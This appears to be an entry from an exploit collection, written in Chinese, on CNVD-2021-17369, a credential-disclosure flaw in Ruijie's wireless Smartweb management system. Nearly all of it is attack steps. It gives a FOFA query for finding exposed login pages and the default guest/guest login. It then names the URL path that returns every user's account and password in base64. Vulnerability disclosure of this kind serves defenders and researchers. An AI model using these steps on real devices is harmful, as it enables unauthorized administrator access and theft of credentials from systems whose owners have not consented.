# 锐捷Smartweb管理系统 密码信息泄露 CNVD-2021-17369
锐捷网络股份有限公司无线smartweb管理系统存在逻辑缺陷漏洞，攻击者可从漏洞获取到管理员账号密码，从而以管理员权限登录。
FOFA:
`title="无线smartWeb--登录页面"`
默认guest账户密码：guest/guest
登录后访问：`http://target/web/xml/webuser-auth.xml`
获取所有用户账号密码，base64解码即可。
ref：
* https://mp.weixin.qq.com/s/EICYTqRWDRB8OfXKHxCBfQ
* https://www.cnvd.org.cn/flaw/show/CNVD-2021-17369